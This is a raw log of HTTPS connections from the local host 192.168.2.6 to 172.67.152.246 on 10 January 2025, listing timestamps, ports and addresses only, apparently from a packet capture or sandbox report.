Jan 10, 2025 20:15:00.403055906 CET	57984	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.403110027 CET	443	57984	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.403218031 CET	57984	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.403445005 CET	57984	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.403459072 CET	443	57984	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.880326033 CET	443	57984	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.880453110 CET	57984	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.882653952 CET	57984	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.882668018 CET	443	57984	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:00.882848024 CET	57984	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:00.882854939 CET	443	57984	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.011809111 CET	443	57984	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.011864901 CET	57984	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.011887074 CET	443	57984	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.011903048 CET	443	57984	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.011926889 CET	57984	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.011985064 CET	57984	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.012135029 CET	57984	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.012151957 CET	443	57984	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.064904928 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.064965963 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.065052032 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.068485975 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.068501949 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.544725895 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.544807911 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.573359966 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.573371887 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.573503971 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.573509932 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.760000944 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.760051012 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.760061026 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.760097980 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.760101080 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.760113955 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.760137081 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.760175943 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.760181904 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.760215998 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.760222912 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.760255098 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.760262012 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.760292053 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.760737896 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.760792971 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.760797977 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.760834932 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.764682055 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.764720917 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.764740944 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.764774084 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.764780045 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.764815092 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.764820099 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.764853001 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.850505114 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.850558996 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.850569010 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.850591898 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.850609064 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.850656033 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.850661993 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.850683928 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.850698948 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.850718021 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.850842953 CET	57985	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.850857019 CET	443	57985	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.965519905 CET	57986	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.965625048 CET	443	57986	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:01.965723991 CET	57986	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.966007948 CET	57986	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:01.966037989 CET	443	57986	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:02.441745996 CET	443	57986	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:02.441867113 CET	57986	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:02.442405939 CET	57986	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:02.442421913 CET	443	57986	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:02.442548037 CET	57986	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:02.442554951 CET	443	57986	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:02.584990978 CET	443	57986	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:02.585067034 CET	443	57986	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:02.585172892 CET	57986	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:02.585324049 CET	57986	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:02.585339069 CET	443	57986	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:02.600415945 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:02.600461006 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:02.600529909 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:02.600963116 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:02.600977898 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.060879946 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.062707901 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.063163042 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.063174009 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.063324928 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.063330889 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.253494024 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.253629923 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.253715038 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.253774881 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.253798962 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.253850937 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.253891945 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.253918886 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.253935099 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.253987074 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.253999949 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.254055023 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.254067898 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.254117966 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.260653973 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.260852098 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.260937929 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.260940075 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.260970116 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.260994911 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.261018991 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.261055946 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.261106968 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.340815067 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.340918064 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.340987921 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.341110945 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.341129065 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.341183901 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.341198921 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.341249943 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.341296911 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.341340065 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.341363907 CET	443	57987	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.341389894 CET	57987	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.465332031 CET	57988	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.465394020 CET	443	57988	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.465507984 CET	57988	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.465742111 CET	57988	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.465755939 CET	443	57988	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.928272963 CET	443	57988	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.928347111 CET	57988	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.930162907 CET	57988	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.930170059 CET	443	57988	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:03.930342913 CET	57988	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:03.930347919 CET	443	57988	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.072390079 CET	443	57988	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.072459936 CET	57988	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.072480917 CET	443	57988	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.072520018 CET	57988	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.072559118 CET	443	57988	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.072601080 CET	57988	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.084263086 CET	57988	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.084290981 CET	443	57988	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.144352913 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.144428015 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.144505024 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.147814035 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.147835970 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.640419006 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.640511990 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.643883944 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.643889904 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.650283098 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.650286913 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.840477943 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.840543032 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.840559006 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.840594053 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.840672970 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.840713978 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.840759039 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.840801001 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.840845108 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.840883017 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.840925932 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.841068029 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.841093063 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.841100931 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.841109991 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.841134071 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.841151953 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.841188908 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.844933987 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.844978094 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.844983101 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.845014095 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.846916914 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.846968889 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.847004890 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.847011089 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.847059965 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.847270966 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.847300053 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.933346033 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.933410883 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.933446884 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.933500051 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.933512926 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.933609009 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.933621883 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.933669090 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.933722973 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:04.933777094 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.933821917 CET	57989	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:04.933859110 CET	443	57989	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:05.059174061 CET	57990	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.059225082 CET	443	57990	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:05.059329033 CET	57990	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.059638977 CET	57990	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.059659004 CET	443	57990	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:05.547792912 CET	443	57990	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:05.547908068 CET	57990	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.548381090 CET	57990	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.548396111 CET	443	57990	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:05.548533916 CET	57990	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.548538923 CET	443	57990	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:05.694205999 CET	443	57990	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:05.694287062 CET	443	57990	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:05.694315910 CET	57990	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.694340944 CET	57990	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.694519043 CET	57990	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.694536924 CET	443	57990	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:05.707495928 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.707540989 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:05.707613945 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.707830906 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:05.707843065 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.188296080 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.188431025 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.188967943 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.188982964 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.189152956 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.189162970 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.397583961 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.397638083 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.397665024 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.397697926 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.397752047 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.397783041 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.397804976 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.397808075 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.398335934 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.398397923 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.398406029 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.398443937 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.403311014 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.403384924 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.403465986 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.403475046 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.403695107 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.405515909 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.405731916 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.405783892 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.405791998 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.406702042 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.488275051 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.488455057 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.488656998 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.488665104 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.488728046 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.488830090 CET	57991	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.488857031 CET	443	57991	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.625050068 CET	57992	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.625088930 CET	443	57992	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:06.625174999 CET	57992	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.625546932 CET	57992	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:06.625565052 CET	443	57992	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.086429119 CET	443	57992	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.089895010 CET	57992	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.090502024 CET	57992	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.090502024 CET	57992	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.090516090 CET	443	57992	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.090534925 CET	443	57992	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.215589046 CET	443	57992	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.215656996 CET	443	57992	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.215722084 CET	57992	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.215737104 CET	57992	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.216025114 CET	57992	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.216043949 CET	443	57992	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.224806070 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.224841118 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.224942923 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.225430012 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.225441933 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.680988073 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.683743000 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.684297085 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.684303045 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.684345007 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.684362888 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.884212971 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.884263992 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.884279013 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.884326935 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.884504080 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.884552956 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.884555101 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.884565115 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.884587049 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.884603024 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.884840965 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.885277987 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.885301113 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.885348082 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.885360003 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.885370016 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.885432959 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.891654968 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.891726017 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.891726971 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.891741991 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.891774893 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.891798973 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.891812086 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.891868114 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.891872883 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.891905069 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.973702908 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.973762989 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.973789930 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.973798990 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.973809004 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.973845005 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.973849058 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.973882914 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.973901033 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:07.973936081 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.974143982 CET	57993	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:07.974158049 CET	443	57993	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:08.105786085 CET	57994	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.105829954 CET	443	57994	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:08.105978012 CET	57994	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.106205940 CET	57994	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.106223106 CET	443	57994	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:08.580264091 CET	443	57994	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:08.580519915 CET	57994	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.581032991 CET	57994	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.581032991 CET	57994	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.581047058 CET	443	57994	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:08.581068039 CET	443	57994	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:08.712680101 CET	443	57994	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:08.712745905 CET	443	57994	172.67.152.246	192.168.2.6
Jan 10, 2025 20:15:08.713313103 CET	57994	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:15:08.713313103 CET	57994	443	192.168.2.6	172.67.152.246
